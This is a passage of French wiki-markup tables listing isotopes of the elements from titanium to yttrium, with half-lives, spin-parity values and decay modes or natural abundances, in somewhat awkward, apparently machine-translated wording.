%β-n=0.04 sys |- |58Ti || || 0+ || |- |59Ti || || (5/2-) || %β-=? |- |60Ti || || 0+ || %β-=? |- |61Ti || || (1/2-) || %β-=?, %β-n=? |} ==[[Vanadium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |43V || 800 ms || ( 7/2- ) || %K+%β+=100 |- |44V || 90 ms || (2+) || %K+%β+=100, %Kα=? |- |44m1V || 150 ms || (6+) || %K+%β+=100 |- |45V || 547 ms || 7/2- || %K+%β+=100 |- |46V || 422.37 ms || 0+ || %K+%β+=100 |- |46m1V || 1.02 ms ||3+ || %IT=100 |- |47V || 32.6 m || 3/2- || %K+%β+=100 |- |48V || 15.9735 d || 4+ || %K+%β+=100 |- |49V || 330 d || 7/2- || %K=100 |- |50V || 1.4e+17 a || 6+ || %Fréquence=0.250, %K+%β+=83 , %β-=17 |- |51V || solidement || 7/2- || %Fréquence=99.750 |- |52V || 3.743 m || 3+ || %β-=100 |- |53V || 1.61 m || 7/2- || %β-=100 |- |54V || 49.8 s || 3+ || %β-=100 |- |55V || 6.54 s || ( 7/2- ) || %β-=100 |- |56V || 230 ms || (3+) || %β-=100 |- |57V || 320 ms || ( 7/2- ) || %β-=100, %β-n=? |- |58V || 200 ms || (3+) || %β-=100 |- |59V || 130 ms || ( 7/2- ) || %β-=100 |- |60V || 200 ms || (3+) || %β-=100, %β-n=0.03 sys |- |61V || || || |- |62V || || (3+) || %β-=? |- |63V || || ( 7/2- ) || %β-=? |- |64V || || || %β-=? |} ==[[Chrome]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |43Cr || 21 ms || ( 3/2+ ) || %K+%β+=100, %Kp=?, %Kα=? |- |44Cr || 53 ms || 0+ || %K+%β+=100, %Kp<10 |- |45Cr || 50 ms || || %K+%β+=100, %Kp ~ 27 |- |46Cr || 0.26 s || 0+ || %K+%β+=100 |- |47Cr || 500 ms || 3/2- || %K+%β+=100 |- |48Cr || 21.56 h || 0+ || %K+%β+=100 |- |49Cr || 42.3 m || 5/2- || %K+%β+=100 |- |50Cr || 1.8e+17 a || 0+ || %Fréquence=4.345, %KK=? |- |51Cr || 27.7025 d || 7/2- || %K=100 |- |52Cr || solidement || 0+ || %Fréquence=83.789 |- |53Cr || solidement || 3/2- || %Fréquence=9.501 |- |54Cr || solidement || 0+ || %Fréquence=2.365 |- |55Cr || 3.497 m || 3/2- || %β-=100 |- |56Cr || 5.94 m || 0+ || %β-=100 |- |57Cr || 21.1 s || 3/2-,5/2-, 7/2- || %β-=100 |- |58Cr || 7.0 s || 0+ || %β-=100 |- |59Cr || 0.74 s || || %β-=100 |- |60Cr || 0.57 s || 0+ || %β-=100 |- |61Cr || 270 ms || (5/2-) || %β-=100, %β-n=0.6 sys |- |62Cr || 190 ms || 0+ || %β-=100, %β-n=1.0 sys |- |63Cr || 110 ms || (1/2-) || %β-=100, %β-n=1.4 sys |- |64Cr || || 0+ || |- |65Cr || || (1/2-) || %β-=? |- |66Cr || || 0+ || %β-=100 |- |67Cr || || (1/2-) || %β-=? |} ==[[Manganèse]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |46Mn || 41 ms || || %K=100, %Kp=32 |- |47Mn || 100 ms || || %K+%β+=100, %Kp > 3.4 |- |48Mn || 158.1 ms || 4+ || %K+%β+=100, %Kp=0.28 , %Kα<6E-4 |- |49Mn || 382 ms || 5/2- || %K+%β+=100 |- |50Mn || 283.88 ms || 0+ || %K+%β+=100 |- |50m1Mn || 1.75 m || 5+ || %K+%β+=100 |- |51Mn || 46.2 m || 5/2- || %K+%β+=100 |- |52Mn || 5.591 d || 6+ || %K+%β+=100 |- |52m1Mn || 21.1 m || 2+ || %K+%β+=98.25 , %IT=1.75 |- |53Mn || 3.74e+6 a || 7/2- || %K=100 |- |54Mn || 312.3 d || 3+ || %K+%β+=100, %β- < 2.9E-4 |- |55Mn || solidement || 5/2- || %Fréquence=100 |- |56Mn || 2.5785 h || 3+ || %β-=100 |- |57Mn || 85.4 s || 5/2- || %β-=100 |- |58Mn || 3.0 s || 1+ || %β-=100 |- |58m1Mn || 65.2 s || (4)+ || %β- ~ 80, %IT ~ 20 |- |59Mn || 4.6 s || 3/2-,5/2- || %β-=100 |- |60Mn || 51 s || 0+ || %β-=100 |- |60m1Mn || 1.77 s || 3+ || %β-=88.5 , %IT=11.5 |- |61Mn || 0.71 s || (5/2-) || %β-=100 |- |62Mn || 0.88 s || (3+) || %β-=100 |- |63Mn || 0.25 s || || %β-=100 |- |64Mn || 140 ms || (3+) || %β-=100, %β-n=1.4 sys |- |65Mn || 110 ms || (5/2-) || %β-=100, %β-n=6.9 sys |- |66Mn || 90 ms || || %β-=100, %β-n=11 sys |} ==[[Fer]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |46Fe || 20 ms || 0+ || %K=100, %Kp=? |- |47Fe || 27 ms || || %K+%β+=100, %Kp=? |- |48Fe || 44 ms || 0+ || %K+%β+=100, %Kp > 3.6 |- |49Fe || 70 ms || ( 7/2- ) || %K+%β+=100, %Kp > 62 |- |50Fe || 150 ms || 0+ || %K+%β+=100, %β+P ~ 0 |- |51Fe || 305 ms || 5/2- || %K+%β+=100 |- |52Fe || 8.275 h || 0+ || %K+%β+=100 |- |52m1Fe || 45.9 s || (12+) || %K+%β+=100 |- |53Fe || 8.51 m || 7/2- || %K+%β+=100 |- |53m1Fe || 2.58 m || 19/2- || %IT=100 |- |54Fe || solidement || 0+ || %Fréquence=5.8 |- |55Fe || 2.73 a || 3/2- || %K=100 |- |56Fe || solidement || 0+ || %Fréquence=91.72 |- |57Fe || solidement || 1/2- || %Fréquence=2.2 |- |58Fe || solidement || 0+ || %Fréquence=0.28 |- |59Fe || 44.503 d || 3/2- || %β-=100 |- |60Fe || 1.5e+6 a || 0+ || %β-=100 |- |61Fe || 5.98 m || 3/2-,5/2- || %β-=100 |- |62Fe || 68 s || 0+ || %β-=100 |- |63Fe || 6.1 s || (5/2)- || %β-=100 |- |64Fe || 2.0 s || 0+ || %β-=100 |- |65Fe || 0.4 s || || %β-=100 |- |66Fe || 440 ms || 0+ || %β-=100 |- |67Fe || 470 ms || (1/2-) || %β-=100, %β-n=1.1 s ys |- |68Fe || 0.10 s || 0+ || %β-=100 |- |69Fe || 170 ms || (1/2-) || %β-=100, %β-n=6.9 sys |} ==[[Cobalt|Kobalt]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |50Co || 44 ms || (6+) || %K+%β+=100, %Kp > 42 |- |51Co || || ( 7/2- ) || |- |52Co || 18 ms || || %K+%β+=100 |- |53Co || 240 ms || ( 7/2- ) || %K+%β+=100 |- |53m1Co || 247 ms || (19/2-) || %K+%β+ ~ 98.5, %p ~ 1.5 |- |54Co || 193.23 ms || 0+ || %K+%β+=100 |- |54m1Co || 1.48 m || (7)+ || %K+%β+=100 |- |55Co || 17.53 h || 7/2- || %K+%β+=100 |- |56Co || 77.27 d || 4+ || %K+%β+=100 |- |57Co || 271.79 d || 7/2- || %K=100 |- |58Co || 70.86 d || 2+ || %K+%β+=100 |- |58m1Co || 9.04 h || 5+ || %IT=100 |- |59Co || solidement || 7/2- || %Fréquence=100 |- |60Co || 5.2714 a || 5+ || %β-=100 |- |60m1Co || 10.467 m || 2+ || %IT=99.76 , %β-=0.24 |- |61Co || 1.650 h || 7/2- || %β-=100 |- |62Co || 1.50 m || 2+ || %β-=100 |- |62m1Co || 13.91 m || 5+ || %β- ~ 100, %IT < 1 |- |63Co || 27.4 s || (7/2)- || %β-=100 |- |64Co || 0.30 s || 1+ || %β-=100 |- |65Co || 1.20 s || (7/2)- || %β-=100 |- |66Co || 0.233 s || (3+) || %β-=100 |- |67Co || 0.42 s || ( 7/2- ) || %β-=100 |- |68Co || 0.18 s || || %β-=100 |- |69Co || 0.27 s || || %β-=100 |- |70Co || 150 ms || || %β-=100, %β-n=2.5 sys |- |71Co || 210 ms || ( 7/2- ) || %β-=100, %β-n=2.6 sys |- |72Co || 90 ms || || %β-=100, %β-n=4.8 sys |- |73Co || || ( 7/2- ) || %β-=? |- |74Co || || || %β-=? |- |75Co || || ( 7/2- ) || %β-=? |} ==[[Nickel]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |52Ni || 38 ms || 0+ || %K+%β+=100, %Kp=17 |- |53Ni || 45 ms || ( 7/2- ) || %K+%β+=100, %Kp ~ 45 |- |54Ni || || 0+ || %K+%β+=100 |- |55Ni || 212.1 ms || 7/2- || %K+%β+=100 |- |56Ni || 6.077 d || 0+ || %K+%β+=100 |- |57Ni || 35.60 h || 3/2- || %K+%β+=100 |- |58Ni || solidement || 0+ || %Fréquence=68.077 |- |59Ni || 7.6e+4 a || 3/2- || %K+%β+=100 |- |60Ni || solidement || 0+ || %Fréquence=26.223 |- |61Ni || solidement || 3/2- || %Fréquence=1.140 |- |62Ni || solidement || 0+ || %Fréquence=3.634 |- |63Ni || 100.1 a || 1/2- || %β-=100 |- |64Ni || solidement || 0+ || %Fréquence=0.926 |- |65Ni || 2.5172 h || 5/2- || %β-=100 |- |66Ni || 54.6 h || 0+ || %β-=100 |- |67Ni || 21 s || (1/2-) || %β-=100 |- |68Ni || 19 s || 0+ || %β-=100 |- |69Ni || 11.4 s || || %β-=100 |- |70Ni || || 0+ || |- |71Ni || 1.86 s || || %β-=100 |- |72Ni || 2.1 s || 0+ || %β-=100 |- |73Ni || 0.70 s || (7/2+) || %β-=100, %β-n=0.3 sys |- |74Ni || 0.54 s || 0+ || %β-=100, %β-n=4.5 sys |- |75Ni || 0.6 s || (7/2+) || %β-=100, %β-n=8.4 sys |- |76Ni || 0.24 s || 0+ || %β-=100, %β-n=? |} ==[[Cuivre]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |57Cu || 199.4 ms || 3/2- || %K+%β+=100 |- |58Cu || 3.204 s || 1+ || %K+%β+=100 |- |59Cu || 81.5 s || 3/2- || %K+%β+=100 |- |60Cu || 23.7 m || 2+ || %K+%β+=100 |- |61Cu || 3.333 h || 3/2- || %K+%β+=100 |- |62Cu || 9.74 m || 1+ || %K+%β+=100 |- |63Cu || solidement || 3/2- || %Fréquence=69.17 |- |64Cu || 12.700 h || 1+ || %K+%β+=61.0 , %β-=39.0 |- |65Cu || solidement || 3/2- || %Fréquence=30.83 |- |66Cu || 5.120 m || 1+ || %β-=100 |- |67Cu || 61.83 h || 3/2- || %β-=100 |- |68Cu || 31.1 s || 1+ || %β-=100 |- |68m1Cu || 3.75 m || (6-) || %IT=84 , %β-=16 |- |69Cu || 2.85 m || 3/2- || %β-=100 |- |70Cu || 4.5 s || (1+) || %β-=100 |- |70m1Cu || 47 s || (4)- || %β-=100 |- |71Cu || 19.5 s || ( 3/2- ) || %β-=100 |- |72Cu || 6.6 s || (1+) || %β-=100 |- |73Cu || 3.9 s || || %β-=100 |- |74Cu || 1.594 s || (1+,3+) || %β-=100 |- |75Cu || 1.224 s || || %β-=100, %β-n=3.5 |- |76Cu || 0.641 s || || %β-=100, %β-n=3 |- |76m1Cu || 1.27 s || || %β-=100 |- |77Cu || 469 ms || || %β-=100, %β-n=? |- |78Cu || 342 ms || || %β-=100 |- |79Cu || 188 ms || || %β-=100, %β-n=55 |} ==[[Zinc]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |57Zn || 40 ms || ( 7/2- ) || %K+%β+=100, %Kp > 65 |- |58Zn || 65 ms || 0+ || %K+%β+=100 |- |59Zn || 182.0 ms || 3/2- || %K+%β+=100, %Kp=0.10 |- |60Zn || 2.38 m || 0+ || %K+%β+=100 |- |61Zn || 89.1 s || 3/2- || %K+%β+=100 |- |62Zn || 9.186 h || 0+ || %K+%β+=100 |- |63Zn || 38.47 m || 3/2- || %K+%β+=100 |- |64Zn || solidement || 0+ || %Fréquence=48.6 |- |65Zn || 244.26 d || 5/2- || %K+%β+=100 |- |66Zn || solidement || 0+ || %Fréquence=27.9 |- |67Zn || solidement || 5/2- || %Fréquence=4.1 |- |68Zn || solidement || 0+ || %Fréquence=18.8 |- |69Zn || 56.4 m || 1/2- || %β-=100 |- |69m1Zn || 13.76 h || 9/2+ || %IT=99.967 , %β-=0.033 |- |70Zn || 5e+14 a || 0+ || %Fréquence=0.6 |- |71Zn || 2.45 m || 1/2- || %β-=100 |- |71m1Zn || 3.96 h || 9/2+ || %β-=100, %IT < 0.05 |- |72Zn || 46.5 h || 0+ || %β-=100 |- |73Zn || 23.5 s || (1/2)- || %β-=100 |- |73m1Zn || 5.8 s || (7/2+) || %β-=?, %IT=? |- |74Zn || 95.6 s || 0+ || %β-=100 |- |75Zn || 10.2 s || (7/2+) || %β-=100 |- |76Zn || 5.7 s || 0+ || %β-=100 |- |77Zn || 2.08 s || (7/2+) || %β-=100 |- |77m1Zn || 1.05 s || (1/2-) || %IT > 50, %β- < 50 |- |78Zn || 1.47 s || 0+ || %β-=100 |- |79Zn || 995 ms || (9/2+) || %β-=100, %β-n=1.3 |- |80Zn || 0.545 s || 0+ || %β-=100, %β-n=1.0 |- |81Zn || 0.29 s || || %β-=100, %β-n=7.5 |} ==[[Gallium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |61Ga || 0.15 s || (3/2- ) || %K+%β+=100 |- |62Ga || 116.12 ms|| 0+ || %K+%β+=100 |- |63Ga || 32.4 s || 3/2- ,5/2- || %K+%β+=100 |- |64Ga || 2.627 m || 0+ || %K+%β+=100 |- |65Ga || 15.2 m || 3/2- || %K+%β+=100 |- |66Ga || 9.49 h || 0+ || %K+%β+=100 |- |67Ga || 3.2612 d || 3/2- || %K=100 |- |68Ga || 67.629 m || 1+ || %K+%β+=100 |- |69Ga || solidement ||3/2- || %Fréquence=60.108 |- |70Ga || 21.14 m || 1+ || %β-=99.59 , %K=0.41 |- |71Ga || solidement ||3/2- || %Fréquence=39.892 |- |72Ga || 14.10 h || 3- || %β-=100 |- |72m1Ga || 39.68 ms|| ( 0+) || %IT=100 |- |73Ga || 4.86 h || 3/2- || %β-=100 |- |74Ga || 8.12 m || (3-) || %β-=100 |- |74m1Ga || 9.5 s || (0) || %IT > 50, %β- < 50 |- |75Ga || 126 s || 3/2- || %β-=100 |- |76Ga || 32.6 s || (2+,3+) || %β-=100 |- |77Ga || 13.2 s || (3/2- ) || %β-=100 |- |78Ga || 5.09 s || (3+) || %β-=100 |- |79Ga || 2.847 s || (3/2- ) || %β-=100, %β-n=0.089 |- |80Ga || 1.697 s || (3) || %β-=100, %β-n=0.89 |- |81Ga || 1.217 s || (5/2- ) || %β-=100 , %β-n=11.9 |- |82Ga || 0.599 s || (1,2,3) || %β-=100, %β-n=22.3 |- |83Ga || 0.31 s || || %β-=100, %β-n=40 |- |84Ga || 85 ms|| || %β-=100, %β-n=70 |} ==[[Germanium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |61Ge || 40 ms|| (3/2- ) || %K+%β+=100, %Kp ~ 80 |- |62Ge || || 0+ || %K+%β+=100 |- |63Ge || 95 ms|| || %K+%β+=100 |- |64Ge || 63.7 s || 0+ || %K+%β+=100 |- |65Ge || 30.9 s || (3/2) ||- %K+%β+=100, %Kp=0.011 |- |66Ge || 2.26 h || 0+ || %K+%β+=100 |- |67Ge || 18.9 m || 1/2- || %K+%β+=100 |- |68Ge || 270.8 d || 0+ || %K=100 |- |69Ge || 39.05 h || 5/2- || %K+%β+=100 |- |70Ge || solidement || 0+ || %Fréquence=21.23 |- |71Ge || 11.43 d || 1/2- || %K=100 |- |71m1Ge || 20.40 ms|| 9/2+ || %IT=100 |- |72Ge || solidement || 0+ || %Fréquence=27.66 |- |73Ge || solidement ||9/2+ || %Fréquence=7.73 |- |73m1Ge || 0.499 s || 1/2- || %IT=100 |- |74Ge || solidement || 0+ || %Fréquence=35.94 |- |75Ge || 82.78 m || 1/2- || %β-=100 |- |75m1Ge || 47.7 s || 7/2+ || %IT=99.970 , %β-=0.030 |- |76Ge || solidement || 0+ || %Fréquence=7.44 |- |77Ge || 11.30 h || 7/2+ || %β-=100 |- |77m1Ge || 52.9 s || 1/2- || %β-=81 , %IT=19 |- |78Ge || 88.0 m || 0+ || %β-=100 |- |79Ge || 18.98 s || (1/2 ) ||- %β-=100 |- |79m1Ge || 39.0 s || (7/2+) || %β-=96 , %IT=4 |- |80Ge || 29.5 s || 0+ || %β-=100 |- |81Ge || 7.6 s || (9/2+) || %β-=100 |- |81m1Ge || 7.6 s || (1/2+) || %β-=100 |- |82Ge || 4.60 s || 0+ || %β-=100 |- |83Ge || 1.85 s || (5/2+) || %β-=100 |} ==[[Arsenic]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |65As || 0.19 s || || %K+%β+=100 |- |66As || 95.77 ms|| || %K+%β+=100 |- |67As || 42.5 s || (5/2- ) || %K+%β+=100 |- |68As || 151.6 s || 3+ || %K+%β+=100 |- |69As || 15.2 m || 5/2- || %K+%β+=100 |- |70As || 52.6 m || 4(+) || %K+%β+=100 |- |71As || 65.28 h || 5/2- || %K+%β+=100 |- |72As || 26.0 h || 2- || %K+%β+=100 |- |73As || 80.30 d || 3/2- || %K=100 |- |74As || 17.77 d || 2- || %β-=34 , %K+%β+=66 |- |75As || solidement ||3/2- || %Fréquence=100 |- |75m1As || 16.79 ms|| 9/2+ || %IT=100 |- |76As || 1.0778 d || 2- || %β-=100 |- |77As || 38.83 h || 3/2- || %β-=100 |- |78As || 90.7 m || 2- || %β-=100 |- |79As || 9.01 m || 3/2- || %β-=100 |- |80As || 15.2 s || 1+ || %β-=100 |- |81As || 33.3 s || 3/2- || %β-=100 |- |82As || 19.1 s || (1+) || %β-=100 |- |82m1As || 13.6 s || (5-) || %β-=100 |- |83As || 13.4 s || (5/2- ,3/2- ) || %β-=100 |- |84As || 4.5 s || (3-) || %β-=100, %β-n=0.28 |- |85As || 2.021 s || (3/2- ) || %β-=100, %β-n=59.4 |- |86As || 0.945 s || || %β-=100, %β-n=33 |- |87As || 0.48 s || (3/2- ) || %β-=100, %β-n=15.4 |} ==[[Sélénium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |67Se || 60 ms|| || %K+%β+=100, %Kp=0.5 |- |68Se || 35.5 s || 0+ || %K+%β+=100 |- |69Se || 27.4 s || (3/2- ) || %K+%β+=100, %Kp=0.045 |- |70Se || 41.1 m || 0+ || %K+%β+=100 |- |71Se || 4.74 m || 3/2- ,5/2- || %K+%β+=100 |- |72Se || 8.40 d || 0+ || %K=100 |- |73Se || 7.15 h || 9/2+ || %K+%β+=100 |- |73m1Se || 39.8 m || 3/2- || %K+%β+=27.4 , %IT=72.6 |- |74Se || solidement || 0+ || %Fréquence=0.89 |- |75Se || 119.779 d || 5/2+ || %K=100 |- |76Se || solidement || 0+ || %Fréquence=9.36 |- |77Se || solidement ||1/2- || %Fréquence=7.63 |- |77m1Se || 17.36 s || 7/2+ || %IT=100 |- |78Se || solidement || 0+ || %Fréquence=23.78 |- |79Se || 1.13e6 a || 7/2+ || %β-=100 |- |79m1Se || 3.92 m || 1/2- || %IT=99.944 , %β-=0.056 |- |80Se || solidement || 0+ || %Fréquence=49.61 |- |81Se || 18.45 m || 1/2- || %β-=100 |- |81m1Se || 57.28 m || 7/2+ || %IT=99.948 , %β-=0.052 |- |82Se || 1.08e+20 a || 0+ || %Fréquence=8.73, %ββ=100 |- |83Se || 22.3 m || 9/2+ || %β-=100 |- |83m1Se || 70.1 s || 1/2- || %β-=100 |- |84Se || 3.10 m || 0+ || %β-=100 |- |85Se || 31.7 s || (5/2+) || %β-=100 |- |86Se || 15.3 s || 0+ || %β-=100 |- |87Se || 5.29 s || (5/2+) || %β-=100, %β-n=0.36 |- |88Se || 1.53 s || 0+ || %β-=100, %β-n=0.99 |- |89Se || 0.41 s || (5/2+) || %β-=100, %β-n=7.8 |- |90Se || || 0+ || |- |91Se || 0.27 s || || %β-=100, %β-n=21 |} ==[[Brome]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |70Br || 79.1 ms|| || %K+%β+=100 |- |70m1Br || 2.2 s || || %K+%β+=100 |- |71Br || 21.4 s || 5/2- || %K+%β+=100 |- |72Br || 78.6 s || 3+ || %K+%β+=100 |- |72m1Br || 10.6 s || 1- || %IT ~ 100, %K+%β+=? |- |73Br || 3.4 m || 1/2- || %K+%β+=100 |- |74Br || 25.4 m || (0-) || %K+%β+=100 |- |74m1Br || 46 m || 4(+) || %K+%β+=100 |- |75Br || 96.7 m || 3/2- || %K+%β+=100 |- |76Br || 16.2 h || 1- || %K+%β+=100 |- |76m1Br || 1.31 s || (4) ||+ %IT > 99.4, %K+%β+ < 0.6 |- |77Br || 57.036 h || 3/2- || %K+%β+=100 |- |77m1Br || 4.28 m || 9/2+ || %IT=100 |- |78Br || 6.46 m || 1+ || %K+%β+=100, %β- < 0.01 |- |78m1Br || 119.2 μs || (4+) || |- |79Br || solidement || 3/2- || %Fréquence=50.69 |- |79m1Br || 4.86 s || 9/2+ || %IT=100 |- |80Br || 17.68 m || 1+ || %β-=91.7 , %K+%β+=8.3 |- |80m1Br || 4.4205 h || 5- || %IT=100 |- |81Br || solidement ||3/2- || %Fréquence=49.31 |- |82Br || 35.30 h || 5- || %β-=100 |- |82m1Br || 6.13 m || 2- || %IT=97.6 , %β-=2.4 |- |83Br || 2.40 h || 3/2- || %β-=100 |- |84Br || 31.80 m || 2- || %β-=100 |- |84m1Br || 6.0 m || 6- || %β-=100 |- |85Br || 2.90 m || 3/2- || %β-=100 |- |86Br || 55.1 s || (2- ) || %β-=100 |- |87Br || 55.60 s || 3/2- || %β-=100, %β-n=2.52 |- |88Br || 16.34 s || (1,2- ) || %β-=100, %β-n=6.58 |- |89Br || 4.348 s || (3/2- ,5/2- ) || %β-=100, %β-n=13.8 |- |90Br || 1.91 s || || %β-n=25.2 , %β-=100 |- |91Br || 0.541 s || || %β-=100, %β-n=18.3 |- |92Br || 0.343 s || (2- ) || %β-=100, %β-n=33 |- |93Br || 102 ms|| (5/2- ) || %β-=100, %β-n=10 +5-3 |- |94Br || 70 ms|| || %β-=100, %β-n=30 |} ==[[Krypton]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |71Kr || 64 ms || || %K+%β+=100, %Kp=5.2 |- |72Kr || 17.2 s || 0+ || %K+%β+=100 |- |73Kr || 27.0 s || 5/2- || %K+%β+=100, %Kp=0.68 |- |74Kr || 11.50 m || 0+ || %K+%β+=100 |- |75Kr || 4.3 m || (5/2) + || %K+%β+=100 |- |76Kr || 14.8 h || 0+ || %K+%β+=100 |- |77Kr || 74.4 m || 5/2+ || %K+%β+=100 |- |78Kr || solidement || 0+ || %Fréquence=0.35 |- |79Kr || 35.04 h || 1/2- || %K+%β+=100 |- |79m1Kr || 50 s || 7/2+ || %IT=100 |- |80Kr || solidement || 0+ || %Fréquence=2.25 |- |81Kr || 2.29e+5 a || 7/2+ || %K=100 |- |81m1Kr || 13.10 s || 1/2- || %IT=99.9975 , %K=2.5E-3 |- |82Kr || solidement || 0+ || %Fréquence=11.6 |- |83Kr || solidement ||9/2+ || %Fréquence=11.5 |- |83m1Kr || 1.83 h || 1/2- || %IT=100 |- |84Kr || solidement || 0+ || %Fréquence=57.0 |- |85Kr || 10.756 a || 9/2+ || %β-=100 |- |85m1Kr || 4.480 h || 1/2- || %IT=21.4 , %β-=78.6 |- |86Kr || solidement || 0+ || %Fréquence=17.3 |- |87Kr || 76.3 m || 5/2+ || %β-=100 |- |88Kr || 2.84 h || 0+ || %β-=100 |- |89Kr || 3.15 m || (3/2+,5/2+) || %β-=100 |- |90Kr || 32.32 s || 0+ || %β-=100 |- |91Kr || 8.57 s || (5/2+) || %β-=100 |- |92Kr || 1.840 s || 0+ || %β-=100, %β-n=0.033 |- |93Kr || 1.286 s || (1/2+) || %β-=100, %β-n=1.95 |- |94Kr || 0.20 s || 0+ || %β-=100, %β-n=5.7 |- |95Kr || 0.78 s || 1/2 || %β-=100 |} ==[[Rubidium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |74Rb || 64.9 ms || (0+)|| %K+%β+=100 |- |75Rb || 19.0 s || (3/2- ,5/2-) || %K+%β+=100 |- |76Rb || 36.5 s || 1(-) || %K+%β+=100 |- |77Rb || 3.77 m || 3/2- || %K+%β+=100 |- |78Rb || 17.66 m || 0(+) || %K+%β+=100 |- |78m1Rb || 5.74 m || 4(-) || %K+%β+=90 , %IT=10 |- |79Rb || 22.9 m || 5/2+ || %K+%β+=100 |- |80Rb || 34 s || 1+ || %K+%β+=100 |- |81Rb || 4.576 h || 3/2- || %K+%β+=100 |- |81m1Rb || 30.5 m || 9/2+ || %IT=97.6 , %K+%β+ =2.4 |- |82Rb || 1.273 m || 1+ || %K+%β+=100 |- |82m1Rb || 6.472 h || 5- || %K+%β+=100, %IT<0.33 |- |83Rb || 86.2 d || 5/2- || %K=100 |- |83m1Rb || 7.8 ms || 9/2+ || %IT=?, %K+%β+=? |- |84Rb || 32.77 d || 2- || %β-=3.8 , %K+%β+=96.2 |- |84m1Rb || 20.26 m || 6- || %IT=100 |- |85Rb || solidement || 5/2- || %Fréquence=72.165 |- |86Rb || 18.631 d || 2- || %β-=99.9948 , %K=0.0052 |- |86m1Rb || 1.017 m || 6- || %IT=100 |- |87Rb || 4.75e10 a || 3/2- || %Fréquence=27.835, %β-=100 |- |88Rb || 17.78 m || 2- || %β-=100 |- |89Rb || 15.15 m || 3/2- || %β-=100 |- |90Rb || 158 s || 0- || %β-=100 |- |90m1Rb || 258 s || 3- || %β-=97.4 , %IT=2.6 |- |91Rb || 58.4 s || 3/2(-) || %β-=100 |- |92Rb || 4.492 s || 0- || %β-=100, %β-n=0.0107 |- |93Rb || 5.84 s || 5/2- || %β-=100, %β-n=1.39 |- |94Rb || 2.702 s || 3(-) || %β-=100, %β-n=10.4 |- |95Rb || 377.5 ms || 5/2- || %β-=100, %β-n=8.73 |- |96Rb || 0.199 s || 2+ || %β-=100, %β-n=13.8 |- |97Rb || 169.9 ms || 3/2(+) || %β-=100, %β-n=25.1 |- |98Rb || 114 ms || (1,0) || %β-=100, %β-n=13.6 , %β-2n=0.051 |- |98m1Rb || 96 ms || (4,5) || %β-=100 |- |99Rb || 50.3 ms || (5/2+ ) || %β-=100, %β-n=20.7 |- |100Rb || 51 ms || || %β-=100, %β-n=6 , %β-2n=0.16 |- |101Rb || 32 ms || (3/2+ ) || %β-=100, %β-n=28 |- |102Rb || 37 ms || || %β-=100 , %β-n=18 |} ==[[Strontium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |75Sr || 71 ms || || %K+%β+=100, %Kp=6.5 |- |76Sr || 8.9 s || 0+ || %K+%β+=100 |- |77Sr || 9.0 s || 5/2+ || %K+%β+=100 , %Kp < 0.25 |- |78Sr || 2.5 m || 0+ || %K+%β+=100 |- |79Sr || 2.25 m || 3/2(-) || %K+%β+=100 |- |80Sr || 106.3 m || 0+ || %K+%β+=100 |- |81Sr || 22.3 m || 1/2- || %K+%β+=100 |- |82Sr || 25.55 d || 0+ || %K=100 |- |83Sr || 32.41 h || 7/2+ || %K+%β+=100 |- |83m1Sr || 4.95 s || 1/2- || %IT=100 |- |84Sr || solidement || 0+ || %Fréquence=0.56 |- |85Sr || 64.84 d || 9/2+ || %K=100 |- |85m1Sr || 67.63 m || 1/2- || %IT=86.6 , %K+%β+=13.4 |- |86Sr || solidement || 0+ || %Fréquence=9.86 |- |87Sr || solidement || 9/2+ || %Fréquence=7.00 |- |87m1Sr || 2.803 h || 1/2- || %K=0.30 , %IT=99.70 |- |88Sr || solidement || 0+ || %Fréquence=82.58 |- |89Sr || 50.53 d || 5/2+ || %β-=100 |- |90Sr || 28.79 a || 0+ || %β-=100 |- |91Sr || 9.63 h || 5/2+ || %β-=100 |- |92Sr || 2.71 h || 0+ || %β-=100 |- |93Sr || 7.423 m || 5/2+ || %β-=100 |- |94Sr || 75.3 s || 0+ || %β-=100 |- |95Sr || 23.90 s || 1/2+ || %β-=100 |- |96Sr || 1.07 s || 0+ || %β-=100 |- |97Sr || 426 ms || 1/2+ || %β-=100, %β-n=0.005 |- |98Sr || 0.653 s || 0+ || %β-=100, %β-n=0.18 |- |99Sr || 0.269 s || 3/2+ || %β-=100, %β-n=0.100 |- |100Sr || 202 ms || 0+ || %β-=100, %β-n=0.78 |- |101Sr || 118 ms || (5/2-) || %β-=100, %β-n=2.37 |} ==[[Yttrium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |79Y || 14.8 s || (5/2+ ) || %K+%β+=100, %Kp=? |- |80Y || 35 s || (3,4,5) || %K+%β+=100 |- |81Y || 70.4 s || (5/2+ ) || %K+%β+=100 |- |82Y || 9.5 s || 1+ || %K+%β+=100 |- |83Y 